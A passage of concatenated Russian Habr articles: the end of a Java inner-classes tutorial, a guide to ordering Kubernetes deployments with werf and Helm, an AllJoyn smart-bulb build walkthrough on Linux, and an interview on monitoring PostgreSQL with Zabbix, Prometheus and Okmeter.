return out7.iOuterVar; // можем обратиться к переменным
// и методам Outer7
}
}
}
```
В этом примере видно, что мы можем использовать как поля и методы «окружающего» класса — Outer7, так поля и методы того класса, от которого мы наследовали внутренний класс — AnyClass2. Это дает нам несколько большие возможности и гибкость при использовании внутреннего класса. Хотя для множественного наследования более подходят интерфейсы.
Совет из книги «Философия Java. Брюс Эккель. ISBN 5-272-00250-4» c. 313:
> «Каждый внутренний класс может независимо наследовать определенную реализацию.
>
>
>
> Внутренний класс не ограничен при наследовании в ситуациях, где внешний класс уже наследует реализацию.»
Чтобы использовать внутренний класс, за пределами обычных методов «окружающего» класса необходимо создать объект внутреннего класса следующим способом.
ИмяВнешнегоКласса.ИмяВнутреннегоКласса.
Объект внутреннего класса сохраняет информацию о месте, где он был создан.
[Часть 3 >>>](https://habr.com/ru/post/440068/)
**Литература**
Майкл Морган. «Java 2.Руководство разработчика» ISBN 5-8459-0046-8
Брюс Эккель. «Философия Java.» ISBN 5-272-00250-4
Герберт Шилдт «Java. Полное руководство. 8-е издание.» ISBN: 978-5-8459-1759-1
**Ссылки:**
[ru.wikipedia.org](https://ru.wikipedia.org/)
[src-code.net/lokalnye-vnutrennie-klassy-java](http://src-code.net/lokalnye-vnutrennie-klassy-java/)
[Документация Oracle](https://docs.oracle.com/javase/tutorial/java/javaOO/nested.html)
|
https://habr.com/ru/post/439666/
| null |
ru
| null |
# Задаём порядок деплоя ресурсов в Kubernetes с помощью werf/Helm
При деплое в Kubernetes часто требуется выкатывать ресурсы в определённом порядке, а иногда и дожидаться готовности сторонних ресурсов. Например, сначала нужно запустить БД, дождаться создания динамического Secret’а сторонним оператором, потом выполнить инициализацию/миграции БД, а уже затем запустить само приложение.
Рассмотрим, как решать такие задачи с помощью Helm, а также сравним с более быстрым и удобным вариантом, который предлагает Open Source-утилита [werf](https://ru.werf.io/).
Развертывание с помощью Helm
----------------------------
Когда возникает необходимость указать порядок, в котором должны быть запущены приложения в кластере, встает вопрос: как это правильно сделать? В Helm задать последовательность выката ресурсов довольно сложно: в основном это делается либо через самодельные проверки готовности требуемых ресурсов в `initContainers/containers`, либо через разделение одного Helm-релиза на несколько частей и их последовательный выкат. Оба способа неудобны и требуют лишних действий.
Рассмотрим развертывание ресурсов в произвольном порядке. Для этого возьмем простой пример с базой данных и реализуем ожидание БД с помощью `initContainers`:
```
kind: StatefulSet
metadata:
name: postgres
---
kind: Deployment
metadata:
name: redis
{{ if $.Release.IsInstall }}
---
kind: Job
metadata:
name: init-db
spec:
template:
spec:
initContainers:
- name: wait-db
image: postgres
command:
- sh
- -ec
- |
until pg_isready -h postgres -p 5432 -U postgres; do
sleep 1
done
containers:
- name: init-db
image: backend
command: ["my-backend", "init-db"]
{{ else }}
---
kind: Job
metadata:
name: migrate-db
annotations:
helm.sh/hook: pre-upgrade
spec:
template:
spec:
initContainers:
- name: wait-db
image: postgres
command:
- sh
- -ec
- |
until pg_isready -h postgres -p 5432 -U postgres; do
sleep 1
done
containers:
- name: migrate-db
image: backend
command: ["my-backend", "migrate-db"]
{{ end }}
---
kind: Deployment
metadata:
name: backend
spec:
template:
spec:
initContainers:
- name: wait-db-init-and-ready
image: backend
command:
- sh
- -ec
- |
until ; do
sleep 1
done
- name: wait-redis
image: redis
command:
- sh
- -ec
- |
until redis-cli -h redis -p 6379 get hello; do
sleep 1
done
containers:
- name: backend
image: backend
```
В этом примере реализован такой порядок:
1. развертывание БД;
2. инициализация или миграции БД;
3. развертывание приложения.
Здесь есть особенность: перед тем, как начинать деплой, нам необходимо убедиться, что динамически создающийся (например, оператором на основе секретов из Vault) Secret `my-dynamic-secret` присутствует в кластере. Поэтому сначала дождемся его создания, а затем начнем деплой приложения:
```
kubectl wait ... secret/my-dynamic-secret
helm install app .
```
Теперь посмотрим, как можно решить эту задачу с werf.
Развертывание в произвольном порядке с помощью werf
---------------------------------------------------
Более удобно реализовать упорядоченный выкат можно с утилитой werf. Недавно у нее появилась возможность задать порядок выката ресурсов с помощью аннотаций, через которые указывается «вес» ресурса. По умолчанию (если ничего не указано) все ресурсы имеют вес 0, поэтому разворачиваются и отслеживаются одновременно. Но если задать им разные веса, то при выкате werf сгруппирует ресурсы в соответствии с их весом и будет разворачивать их от группы с меньшим весом к группе с большим весом, ожидая, пока каждая группа не придет в состоянии полной готовности.
Задать вес ресурсов можно через аннотацию `werf.io/weight` (по аналогии с `helm.sh/hook-weight` для Helm-хуков). Решим предыдущую задачу уже с использованием весов:
```
kind: StatefulSet
metadata:
name: postgres
annotations:
werf.io/weight: "0"
---
kind: Deployment
metadata:
name: redis
annotations:
werf.io/weight: "0"
{{ if $.Release.IsInstall }}
---
kind: Job
metadata:
name: init-db
annotations:
werf.io/weight: "10"
spec:
template:
spec:
containers:
- name: init-db
image: backend
command: ["my-backend", "init-db"]
{{ end }}
---
kind: Job
metadata:
name: migrate-db
annotations:
werf.io/weight: "20"
spec:
template:
spec:
containers:
- name: init-db
image: backend
command: ["my-backend", "migrate-db"]
---
kind: Deployment
metadata:
name: backend
annotations:
secret.external-dependency.werf.io/resource: "secret/my-dynamic-secret"
werf.io/weight: "30"
spec:
template:
spec:
containers:
- name: backend
image: backend
```
Запустить развертывание теперь можно одной командой:
```
werf converge
```
Первыми задеплоятся база данных и Redis, затем произойдет инициализация или миграции БД, и только потом запустится приложение. Обратите внимание на аннотацию `secret.external-dependency.werf.io/resource: "secret/my-dynamic-secret"`. Она добавлена к Deployment’у приложения и указывает, что перед созданием Deployment'а надо также дождаться готовности внешней зависимости — Secret’а `my-dynamic-secret`. При этом Secret может разворачиваться либо как часть другого релиза werf, либо вообще создаваться без werf (например, сторонним оператором).
Как видно, чарт приложения стал гораздо меньше и удобнее для чтения, а для запуска требуется выполнить одну команду.
Заключение
----------
Мы рассмотрели управление порядком развертывания ресурсов в кластере Kubernetes с помощью новой функции утилиты werf. Она позволяет упростить сложный выкат приложений и быстрее писать чарты приложения, так как теперь нет необходимости реализовывать сложные проверки готовности его составных частей или внешних зависимостей.
### P.S.
Читайте также в нашем блоге:
* [«werf vs. Helm: корректно ли их вообще сравнивать?»](https://habr.com/ru/company/flant/blog/554892/);
* [«Первые шаги с werf: собираем и деплоим простое приложение в Kubernetes»](https://habr.com/ru/company/flant/blog/597001/);
* [«Новые возможности werf: CI/CD на основе werf и Argo CD»](https://habr.com/ru/company/flant/blog/666100/).
|
https://habr.com/ru/post/682804/
| null |
ru
| null |
# Alljoyn: взгляд embedded разработчика. Часть 2: Linux нам в помощь
Предыдущая часть цикла [Alljoyn: взгляд embedded разработчика. Часть 1: знакомство](https://habrahabr.ru/company/rainbow/blog/273859/)
Продолжаем повествование о том как получить «реальную железку», работающую по протоколу AllJoyn. Конечной целью цикла является получение прототипа «умной Wi-Fi лампочки». Причем именно «прототипа», потому что реализации силовой части нашей лампочки мы касаться не станем, так как это отдельная большая тема, не имеющая отношения к фреймворкам и способам управления. Потому ограничимся светодиодом на отладочной плате SAMD21-XPRO.
Прежде чем начать портирование фреймворка на микроконтроллер, разберемся со вспомогательными средствами, которые окажут нам неоценимую помощь в процессе разработки. В принципе, AllJoyn — кроссплатформенный фреймворк и Вы вольны использовать удобный именно Вам вариант операционной системы. Я использовал Linux (Ubuntu) — просто потому, что он мне привычнее.
#### Качаем исходники, компилируем, пробуем
Для этого следуем указаниям пункта 4.1 [инструкции](https://wiki.allseenalliance.org/_media/tsc/lighting/getting_started_alljoyn_lighting_service_framework_15.04_lamp_service.pdf) с официального сайта. Правда, данная инструкция предлагает использовать Git для скачивания исходников, но при таком способе фреймворк у меня отказался компилироваться (ситуация могла с тех пор измениться), поэтому я скачивал [исходники](https://allseenalliance.org/framework/download) по одной папке с официального сайта, и раскладывал их в соответствии с требуемой структурой. Исходники я поместил в домашнюю папку в каталог alljoyn/lsf.
Необходимо получить следующую структуру файлов:
`~/alljoyn/lsf
|------ core
| |------ service_framework (пункт Lighting Service Framework Source)
| |------ ajtcl (пункт Thin Core Source)
| |------ alljoyn (пункт Standard Core Source)
|------ base_tcl
|------ base (пункт Base Services Source)`
Для компиляции нам потребуется дополнительные программы. Ставим их:
```
sudo apt-get install build-essential libgtk2.0-dev libssl-dev xsltproc ia32-libs libxml2-dev
sudo apt-get install python
sudo apt-get install scons
sudo apt-get install libssl-dev
```
Переходим в папку service\_framework и собираем проект:
```
cd ~/alljoyn/lsf/core/service_framework
scons WS=off
```
Я не большой знаток линукса, но в процессе работы с ним у меня сложилось стойкое ощущение, что двух одинаковых решений одной задачи на разных компьютерах не бывает и всегда в каждом конкретном случае найдутся какие-то нюансы. Лично у меня было долгое хождение по мукам прежде чем всё успешно собралось, но описывать свои похождения в рамках данной статьи большого смысла не вижу. Так что дерзайте и в конце концов Вы увидите следующее:
```
scons: Reading SConscript files ...
BULLSEYE_BIN not specified
Using OpenSSL crypto
GTEST_DIR not specified skipping common unit test build
BULLSEYE_BIN not specified
GTEST_DIR not specified skipping About Service unit test build
GTEST_DIR not specified skipping alljoyn_core unit test build
GTEST_DIR not specified skipping LSF unit test build
scons: done reading SConscript files.
scons: Building targets ...
...
scons: done building targets.
```
В результате там накомпилируется много-много всего. Нам понадобится 3 программы:
1. **lamp\_service** — имитатор «умной лампочки» (далее по тексту я частенько буду называть эту программу «лампочкой»). Испольует Thin (облегченную) версию фреймворка. Именно эту программу мы будем портировать на микроконтроллер Atmel SAMD21 в третьей части цикла. Так же данная программа лежит в основе Android приложения Luminaire. Находится в папке ~/alljoyn/lsf/core/service\_framework/build/linux/thin\_core\_library/lamp\_service/bin
2. **lighting\_controller\_service** — это Router для нашего Thin устройства (читай теоретическую часть в первой части). Лежит в папке ~/alljoyn/lsf/core/service\_framework/build/linux/standard\_core\_library/lighting\_controller\_service/bin
3. **lighting\_controller\_client\_sample** — это «контрольная панель» с которой мы будем управлять нашей лампочкой. Именно эта программа лежит в основе Android приложения LSF, которое упоминалось в прошлой статье. Находится в папке ~/alljoyn/lsf/core/service\_framework/build/linux/standard\_core\_library/lighting\_controller\_client/samples
Таким образом, мы теперь можем «заумные» картинки из прошлой статьи представить в более предметном виде:
Теперь включим WireShark, запустим lamp\_service и понаблюдаем что же происходит:
```
cd ~/alljoyn/lsf/core/service_framework/build/linux/thin_core_library/lamp_service/bin
./lamp_service
```
Чтобы не утонуть в потоке сетевого трафика, добавим фильтр в WireShark **udp.port == 5353 || udp.port == 9956**
Видим, что лампочка шлёт в сеть свои презентационные данные в поисках Router, используя все три доступные ей способа (multicast 224.0.0.113:9956, multicast 224.0.0.251:5353, broadcast:9956). В данном случае эти попытки тщетны, так как Router в сети отсутствует. Лампочка периодически посылает эти пакеты в сеть, после чего на некоторое время «замолкает» (до 40 секунд).
Рассмотрим для интереса содержимое одного из пакетов. Разглядывать будем широковещательный AllJoyn пакет. Он хоть и является устаревшим форматом (о чем говорится в первой статье), но выглядит менее громоздко по сравнению с MDNS и потому проще для понимания. В MDNS используется похожий принцип.
Идентификатор шины может использоваться Router'ом (а может и не использоваться) для того, что бы решить будет ли Router «дружить» с нашим устройством. С кем ему дружить определяет разработчик при написании кода Router'а. IP адрес и порт используются для указания Router'у данных TCP-соединения. В нашем случае мы видим, что лампочка подняла TCP-сервер на порту 9955.
#### Добавим Router
В принципе, не важно, находится ли Router физически на том же устройстве, что и lamp\_service или на разных. Но если запустить lighting\_controller\_service (это специализированный Router для нашего случая) на том же самом компе, то они соединятся внутри машины, поэтому через сетевую карточку обмен не пойдет и WireShark его не зафиксирует. Чтобы визуализировать обмен, запустим lighting\_controller\_service на другом компе.
Как видим на этот раз «крики лампочки» не остались неуслышанными, и Router, предварительно «выслушав» лампочку по UDP, подключился к ней по TCP и произвел довольно длительный процесс обмена более детальной информацией. В принципе, для успешного использования фреймворка вовсе не обязательно разбираться в тонкостях этого обмена, так как он лежит на плечах разработчиков альянса и поставляется в готовом виде. Но если приглядеться, то можно увидеть использование DBus подобного протокола со всякими BusHello, Introspect и пр. Забегая немного вперед, отмечу что далее в процессе обмена при желании используется всякие методы аутентификации, шифрования и т.п. В результате AllJoyn напоминает этакого Франкенштейна, состоящего из частей различных протоколов и технологий. Но это лирика, повторюсь, в теории, погружаться слишком глубоко не требуется (хотя нас эта участь не миновала, так как в процессе работы пришлось изрядно походить по граблям).
**Про AllJoyn и WireShark**WireShark в Windows понимает Alljoyn и умеет его красиво парсить, разбивая на отдельные поля — неоценимая помощь при отладке. К сожалению, в Ubuntu WireShark не знает этого протокола, что огорчает. Так как у меня Ubuntu установлена на виртуальной машине под виндой, то я сделал проброс линуксовой сетевой карточки во внешнюю сеть (это позволяет сделать VMWare Workstantion). В результате, у меня WireShark в винде, видит весь линуксовы обмен. Именно поэтому в данной статье часть скриншотов сделаны в Ubuntu, а часть в Windows.
Для AllJoyn можно настроит два фильтра:
**ajns** — AllJoyn Name Service — это уже не раз упоминавшийся, устаревший формат широковещательных посылок по UDP в порт 9956, с помощью которых AllJoyn-устройства находят друг друга в сети.
**aj** — AllJoyn — это протокол обмена, осуществляющийся по TCP. Распарсенные пакеты видны на предыдущей картинке.
После того как лампочка «сдружилась» с Router'ом по TCP, она (лампочка) перестаёт «шуметь» по UDP. Теперь за неё это делает Router, предлагая свои услуги панелям управления. Процесс происходит в общем-то аналогично — Router мультикастово и/или бродкастово извещает по локальной сети о существовании лампочки (или лампочек). Если панель управления заинтересовалась, она подключается по TCP. И вот тут важное отличие: Router не перестает «шуметь» по UDP для того, чтобы другие панели тоже могли присоединиться в случае необходимости.
Собственно, теперь становится понятна такая замысловатая организация обмена. Router — это программа на «серьезном» железе, с нормальной реализацией TCP/IP стека и поддержкой большого числа одновременных соединений. В то время как требования к лампочке снижаются — от микроконтроллера и стека требуется лишь возможность поддержки одного UDP-сокета и одного TCP-соединения.
Представим вышесказанное в виде комикса:
#### Подключаем «панель управления»
Последнее на сегодня упражнение — это увидеть в действии 4-й этап из картинки выше. Для этого запускаем нашу панель управления. Используем для этого отдельный экземпляр терминала. Опять же не важно на каком именно физическом устройстве будет запущена наша панель:
```
$ cd ~/alljoyn/lsf/core/service_framework/build/linux/standard_core_library/lighting_controller_client/samples
$ ./lighting_controller_client_sample
```
В результате, если всё сделано правильно, панель должна обнаружить нашу лампочку:
Тут же мы видим 32-х битный уникальный идентификатор лампочки, который транслировался по UDP. К сожалению, при подготовке данной статьи запускались различные экземпляры lamp\_service, поэтому значения этого идентификатора на скриншотах не совпадают — просто поверьте на слово, что это он.
Помимо обнаружения, lighting\_controller\_client\_sample позволяет производить множество манипуляция с лампочкой (запрос параметров, установка значений и пр.). При желании, можно с ней «поиграться», но я эту часть опущу, чтобы не раздувать статью до неприличных масштабов. Предупрежу только, что интерфейс у программки далеко не дружественный… но это одно из самых незначительных препятствий на тернистом пути AllJoyn-первопроходца.
На этом теоретическую, техническую и моральную подготовку будем считать оконченной и в третьей (вероятно, заключительной) части цикла приступим к реализации «умной лампочки» в железе и съемке результата для youtube.
#### Приложение А. Соответствие linux программ и мобильные приложений
Собранные и используемые сегодня программы однозначно перекликаются с мобильными Android приложениями, о которых говорилось в [первой статье](https://habrahabr.ru/company/rainbow/blog/273859/). Закрепим этот момент:
Приложение [Luminaire](https://play.google.com/store/apps/details?id=com.qualcomm.luminaire&hl=ru) соответствует программе **lamp\_service**. Его мы и будем портировать на микроконтроллер в третьей части.
Приложение [LSF Sample App](https://wiki.allseenalliance.org/tsc/connected_lighting#sample_applications) соответсвует программе **lighting\_controller\_client\_sample**. С его помощью осуществляется управление нашей лампочкой.
#### Приложение Б. Постановка задачи для третьей части цикла
В результате наших изысканий мы хотим получить физическое устройство (отладка с микроконтроллером и Wi-Fi модулем), которое будет обнаруживаться и управляться с наших контрольных панелей (мобильного телефона с установленным **LSF Sample App** и программой в линуксе **lighting\_controller\_client\_sample**). В качестве Router'а будем использовать программу lighting\_controller\_service, запущенную на компьютере с линуксом.
На сегодня это всё, надеюсь было интересно. До новых встреч.
|
https://habr.com/ru/post/278845/
| null |
ru
| null |
# Мониторинг PostgreSQL. Расшифровка аудиочата Data Egret и Okmeter
Представляю текстовую версию моего [недавнего разговора](https://www.youtube.com/watch?v=GT-bK-uWU-k) с коллегами из Data Egret — компании, которая специализируется на поддержке PostgreSQL. Я пообщался с Ильей Космодемьянским (CEO) и Алексеем Лесовским (senior DBA). Обсудили, как мониторить PostgreSQL, какие бывают ошибки при выборе и настройке систем мониторинга, кто такие DBA и какие soft skills для них важны, а также затронули более хардкорные темы. Пост объемный, но он того стоит.
**Илья:** Всем привет. Меня зовут Илья Космодемьянский. Я CEO компании [Data Egret](https://dataegret.com/) и один из ее основателей. Мы занимаемся поддержкой баз данных PostgreSQL. Нам часто приходится решать вопросы вроде «Что произошло?», «Кто бросил валенок на пульт?» и т. п. Клиентов у нас много, базы огромные. Без нормального мониторинга мы бы, конечно, всё это не осилили. Поэтому тема сегодняшнего разговора — мониторинг.
Мои собеседники — это коллега Алексей Лесовский, большой специалист по Postgres, и Владимир Гурьянов, который занимается разработкой системы мониторинга [Okmeter](https://okmeter.io/). Система много чего умеет мониторить, в том числе Postgres.
Кто такие DBA, и чем они занимаются
-----------------------------------
**Владимир:** Я буду сегодня выступать не как эксперт, а скорее как ведущий. Коллеги, расскажите, чем вы занимаетесь.
**Илья**: Мы поддерживаем всё, что касается базы данных Postgres. Мы давно работаем на российском и зарубежном рынках. У некоторых компаний есть администраторы баз данных — DBA (database administrator). Мы можем такого DBA заменить или дополнить. То есть следим за тем, чтобы базы данных в компании были под присмотром, все рутинные задачи решены, траблшутинг оттраблшучен.
Чем мы отличаемся от обычного DBA? У большинства администраторов в Data Egret гораздо больше опыта эксплуатации самых разных баз, больше сложных ситуаций, с которыми приходилось сталкиваться. Как правило, стрессовые штуки встречаются нам гораздо раньше: мы раньше нащупываем баги, раньше встреваем в какие-то проблемы.
**Владимир:** Я в свое время достаточно долго работал инженером. Знаю, что во всех компаниях есть база данных (БД), но не у всех есть выделенные DBA. Поддержкой БД занимаются там обычно инженеры эксплуатации или разработчики. В какой момент у компании появляется необходимость в выделенном DBA, когда они к вам приходят? Кто вообще ваши клиенты?
**Илья:** У нас очень разные клиенты. Отсутствие у них выделенного DBA может быть связано с кучей разных особенностей. Например, компания еще не доросла до этого, и БД проще поручить сисадмину. Иногда просто нет регулярных задач для DBA. Многое зависит от того, какая специфика бизнеса, как разработан бэкенд, как он ходит в базу и т. д.
Среди наших клиентов и маленькие, и большие компании. Есть большие компании, у которых целый отдел опытных DBA, но поскольку они постоянно работают с плюс-минус одним проектом, им бывает нужна внешняя экспертиза — помочь разобраться с чем-то специфическим, какой-то подземный стук диагностировать.
Бывает, что для небольшой компании мы периодически выступаем в роли DBA, потому что постоянно он им не нужен.
**Владимир:** Мне раньше казалось, что DBA — это такие специалисты, которых очень сложно найти. При этом в последние несколько лет большинство компаний осознали, что все они — ИТ-компании: что магазин одежды, что ритейл, что ресторан. Существенно вырос спрос на ИТ-специалистов. И это очень заметно по разработчикам, по DevOps-инженерам. А как обстоят дела с DBA?
**Илья:** Точно так же... Кстати, мы ищем DBA. Если кто интересуется, обязательно пишите. *(Смеется.)*
Илья КосмодемьянскийДело в том, что DBA исторически был не очень популярной профессией. Многие разработчики считают, что это какая-то скучная старперская штука. Почему-то это не популярно. Прикольнее быть каким-нибудь разработчиком Haskell, стоять на переднем крае технологий. Поэтому дефицит DBA был всегда. Это довольно дорогие специалисты, с вредным характером. DBA знает себе цену, он разбирается, куда пойти работать, хочет много денег, приятного графика.
К тому же, сейчас появились две тенденции. Во-первых, количество БД растет — в связи с любовью к миросервисам, со всеми этими подходами, которые приносят много пользы бизнесу. Из-за этого масса всяческих издержек. Когда у тебя, скажем, 20 баз, начинаются гораздо более интересные истории, чем когда у тебя одна большая база, за которой могут следить двое DBA. То есть микросервисы тоже влияют на рост спроса.
Во-вторых, многие компании считают, что им не нужен целый DBA, что хорошо бы иметь отдел на подхвате, который в случае чего может прийти на помощь.
**Владимир:** Как вообще попадают в эту профессию? Можно ли перейти откуда-то? И с чего стоит начать?
**Илья:** На эту тему можно долго рассуждать. Я когда-то даже [специальный доклад](https://www.youtube.com/watch?v=SpLVs6lfXps) делал, чтобы рассказать, с чего начать, какие книжки читать. Но сейчас я могу точно сказать: было бы желание.
Один из профилей людей, которых мы обычно ищем, это уверенный пользователь Linux. Тот, кто не боится командной строки, не боится читать документацию. Это программа-минимум. И я бы сказал, что при должной въедливости остальному научим.
Дальше мы начинаем рассуждать о том, что нужно иметь какое-то представление о математической логике, о базах данных, о том, что такое транзакция. Но, по моему опыту, этому можно научиться по ходу дела.
**Владимир:** Сейчас ИТ-рынок активно развивается. Каждый день появляются сотни новых технологий и направлений. Насколько это влияет на БД? Или это все еще такой укромный, консервативный уголок, где рост не столь стремительный и бурный?
**Илья:** Рост, конечно, не столь бурный и стремительный, как много где. Но при этом понятно, что БД — это не уголок. БД — это такая штуковина, которая есть практически в любой компании. Она находится в центре ИТ-инфраструктуры, хочешь ты этого или нет. Все системы с ней взаимодействуют. Если, условно говоря, активно развивается Java, сообщество придумывает какие-то новые технологии, появляются какие-то принципиально новые языки, то неминуемо уголок DBA перестает быть уютным. Потому что эти новые языки и технологии должны взаимодействовать с базой. И DBA нужно вникать, что там происходит — на уровне решения проблем, которые вызывает конкретное приложение, написанное на конкретном языке.
Могу по своему опыту сказать, что мне приходилось работать с языками, на которых я в жизни ничего не мог написать. Потому что когда я что-то кодил, их еще не было или они еще не набрали популярность. Но все эти технологии надо учить, разбираться в них.
На самом деле здесь зеркальная ситуация. Если ты работаешь с БД, у тебя с одной стороны консерватизм, а с другой — постоянно происходит накопление новых знаний. Потому что все эти новые знания в базу ломятся, их периодически надо траблшутить. Это очень расширяет кругозор.
Мониторинг БД и популярные системы
----------------------------------
**Владимир:** Я прекрасно понимаю, о чем ты говоришь. Вроде бы Linux остался тот же самый, а языков и технологий появилось такое количество… Но перейдем к мониторингу.
Мониторинг — такая же важная штука для БД, как и для любой другой системы в ИТ-ландшафте?
**Илья:** Иногда даже еще более важная.
**Владимир:** А насколько принципиально отличается мониторинг БД от мониторинга того же Linux?
**Илья:** Linux долгое время был немного вещью в себе в плане диагностики. Такие технологии, как eBPF, стали появляться относительно недавно. Долгое время средства диагностики были довольно куцые: какой-нибудь мониторинг ввода-вывода в виде iostat и примерно всё.
Что касается БД, то здесь всегда было нужно разобраться с тем, что происходит с запросом, почему именно он тормозит, где узкие места, какой тренд в нагрузке, трассировка, сэмплинг и т. д. То есть базы начали тщательно мониторить немножко раньше, это базам имманентно.
**Владимир:** А бывает так, что к вам кто-нибудь приходит с просьбой о помощи и оказывается, что у них совсем нет системы мониторинга?
**Илья:** Бывает, конечно, но очень редко. Обычно с мониторингом такая же ситуация, как с бэкапами: часто люди снимают бэкапы, а восстановление с них не тестируют. Это такая массовая большая беда.
С мониторингом бывает так, что он вроде как есть, но в реальном траблшутинге задействован редко. Снимаются какие-то метрики, которые при возникновении проблем просто не помогают. Еще бывает, что в мониторинге нет чего-то важного, зато какая-нибудь левая хрень есть.
**Владимир:** Какая система самая распространенная среди ваших клиентов?
**Алексей:** Давайте я попробую ответить, но начну с предыдущего вопроса. Илья говорил, что к нам приходят клиенты, и у них, бывает, мониторинга нет. На самом деле Илья немного приукрашивает ситуацию. Да, приходят клиенты, у которых действительно нет мониторинга...
**Илья:** Я политкорректен.
**Алексей:** Да, ты политкорректен, но всё намного страшнее, чем кажется. *(Смеется.)*
> Люди приходят без мониторинга. Либо с мониторингом, но они в него не смотрят.
>
>
Иногда мониторинг есть, но мониторится только операционная система, а остальные компоненты инфраструктуры, включая БД, — нет. Используется какой-то дефолтный мониторинг, который шел в комплекте.
По поводу того, какая система — самая распространенная. Здесь можно поделить мониторинг на опенсорсный и на закрытый. Если брать именно опенсорсный, то на первом месте Zabbix. Он появился раньше, чем Prometheus, более распространен. Для него больше есть всяких рецептов, плагинов. Он до сих пор хорошо развивается, с каждым релизом много интересных функций выходит. Он постоянно в движении.
На втором месте Prometheus и, как правило, Grafana для отрисовки графиков. Это два основных мониторинга, которые мы чаще всего встречаем.
Алексей ЛесовскийС Zabbix довольно легко начать, потому что у него свой пользовательский интерфейс, своя база знаний внутри, где довольно много решений описано: как что ставить, что мониторить.
С Prometheus чуть сложнее. У него большая экосистема экспортеров. Очень часто экспортеры предлагают базовую функциональность, и расширять ее нужно самому пользователю. Чтобы ее расширить, приходится глубже погружаться в предметную область того объекта, который нужно замониторить. И вот здесь начинаются сложности.
Можно, конечно, довериться кому-то из экспертов по Prometheus. Либо можно самому из интернета скачать какие-то дашборды, какие-то темплейты конфигов и их использовать. Но здесь тоже могут быть сюрпризы: скачиваешь что-нибудь этакое, открываешь дашборд в Grafana, но там чего-то не хватает. Потом приходится самому это добавлять, кастомизировать эти дашборды. С Zabbix в этом плане попроще.
Ошибки при мониторинге баз данных
---------------------------------
**Владимир:** Не сталкивались ли с такой ситуацией, когда система мониторинга вместо того, чтобы приносить пользу, давала какую-то большую часть нагрузки на БД?
**Илья:** Нет ли здесь скрытого наезда на Zabbix? *(Смеются.)*
**Алексей:** Бывало, но такое по пальцам можно пересчитать. Я с таким сталкивался, может, один-два раза.
**Илья:** У нас иногда бывали на поддержке просто базы с Zabbix, которым требовался траблшутинг.
**Владимир:** Я понимаю, о чем идет речь, я видел пару инсталляций, которые собирали метрики с 5-6 тысяч хостов, и Zabbix’у в этом случае было достаточно тяжко.
На самом деле это был наезд не на Zabbix. В моей практике мне попадалась достаточно нагруженная БД. Там были экспортеры от Prometheus, один из них немножко аффектил базу. При определенном стечении обстоятельств бывало печально.
**Алексей:** Могу привести пример из своего опыта. В PostgreSQL есть модуль, который называется [pg\_buffercache](https://www.postgresql.org/docs/13/pgbuffercache.html). Он показывает утилизацию шаренных буферов. Запросы, которые используют `pg_buffercache`, раньше были довольно тяжелыми. (Сейчас — не знаю, может ситуация улучшилась.) И когда в мониторинг добавляешь запросы, которые используются в `pg_buffercache`, это начинает создавать довольно-таки хорошую нагрузку и может привести к проблемам. Я сам наступал на такие грабли, когда делал плагины для Zabbix.
**Владимир:** А есть какой-то топ распространенных ошибок, с которыми вы встречаетесь при построении мониторинга у клиентов?
**Илья:** Наиболее частая проблема — это отсутствие должного мониторинга. То есть мониторинг какой-то стоит, а на график, например, ничего не выведено. Бывает, что вроде бы какая-то информация в системе есть, можно посмотреть, просемплить. Но когда встает вопрос о том, что было вчера в 2 часа ночи, ничего не видно. И главное — не видно тренда, куда ситуация развивается.
> Очень часто берут дефолтные дашборды и считают, что у них теперь есть мониторинг. При этом зачастую там достаточно бесполезная информация.
>
>
Бывает, что не сбрасывают статистику. У Postgres есть есть довольно странный, по историческим причинам, просмотрщик — [pg\_stat\_bgwriter](https://www.postgresql.org/docs/13/monitoring-stats.html#MONITORING-PG-STAT-BGWRITER-VIEW). В силу того, как он сделан, в нем надо периодически скидывать статистику. Если статистика ведется от начала инсталляции базы, смысла в ней довольно мало. Тем не менее бывает, что вроде бы дашборд сделан, выведены графики этих циферок, но они абсолютно неинформативны, потому что статистика просто не скидывалась.
> Скажу так: мониторинг часто носит на себе следы его неиспользования.
>
>
Сотрудничество Data Egret и Okmeter
-----------------------------------
**Владимир:** Расскажите про взаимодействие с Okmeter еще до того, как он стал частью «Фланта». Как вы вообще познакомились, как началось ваше сотрудничество?
**Илья:** Во-первых, мы были знакомы: когда-то давно с одним из основателей Okmeter мы сисадминили в одной конторе. Во-вторых, на самом деле это было очень органичное взаимодействие. Ребята, которые начали делать Okmeter, работали в службе эксплуатации одного из наших клиентов. Их бизнес родился из того, что они просто начали делать свой мониторинг, который бы мониторил всё более комфортно. Поскольку там большая часть инфраструктуры была Postgres’овой, мы им помогали сделать эту часть. Ну, и постепенно это вылилось в такое взаимодействие, когда мы говорили ребятам: мы хотим вот это мониторить. А те говорили: окей, хорошая идея, давайте сделаем.
**Владимир:** Чего, на ваш взгляд, не хватает Okmeter на данный момент — не только в разрезе БД, а в целом?
**Алексей:** В плане развития мониторинговых вещей, которые в Postgres появляются, они появляются с каждым релизом [Okmeter]. Другое дело, что клиенты не всегда используют самый свежий Postgres. Бывает даже так, что есть базы Postgres, которые вышли из поддержки, для них патчи не выпускаются и т. д. Поэтому, конечно, в мониторинг можно добавлять новые фишки, связанные с Postgres, но это не самое основное. Некоторые можно и потом добавить, через несколько лет.
Более насущная проблема Okmeter — это то, что, как правило, не хватает чего-то по мелочи в плане интерфейса или в плане каких-то функций, связанных с самим мониторингом. Но в целом, если говорить о функциях, когда мы делали техзадание на [мониторинг PostgreSQL](https://okmeter.io/i/integrations/postgresql-monitoring), мы заложили все основные вещи. Okmeter сделал их, и нам до сих пор хватает этого с лихвой. Это и топ-графики, и графики по запросам — то, чего не хватает в том же Zabbix.
Примеры графиков Okmeter для PostgreSQLЕсли же говорить про интерфейс, то там бывают всякие мелочи — например, работа с датами не всегда удобная. Приходится лишнего накликивать, чтобы получить желаемое. Или, например, с алертами бывает неудобно работать: есть группа DBA, серверы баз данных, и нам нужно алерты только по этим серверам получать. Но мы получаем алерты по всем инстансам. Приходят, скажем, алерты, которые связаны с тем, что контейнера больше не существует.
Ну, и бывает, что не хватает документации. Язык свой, его нужно знать, там много функций, операторов. В документации есть примеры использования, примеры запросов. Но какие-то угловые кейсы, использование каких-то экзотических функций — ты их просто не знаешь, а они могли бы где-то облегчить жизнь. Приходится как-то по наитию все это изучать.
Есть всякие неочевидные тонкости типа копирование элемента легенды по тройному клику. Для нас в свое время это было открытием. *(Смеются.)* Не знали, что такое есть, в документации тоже, по-моему, этот момент не описан. Вполне допускаю, что есть и какие-то другие неочевидные вещи.
То, что я перечислил относится, как правило, к работе с мониторингом, с пользовательским интерфейсом. А в плане мониторинга базы данных, в общем-то, всего хватает.
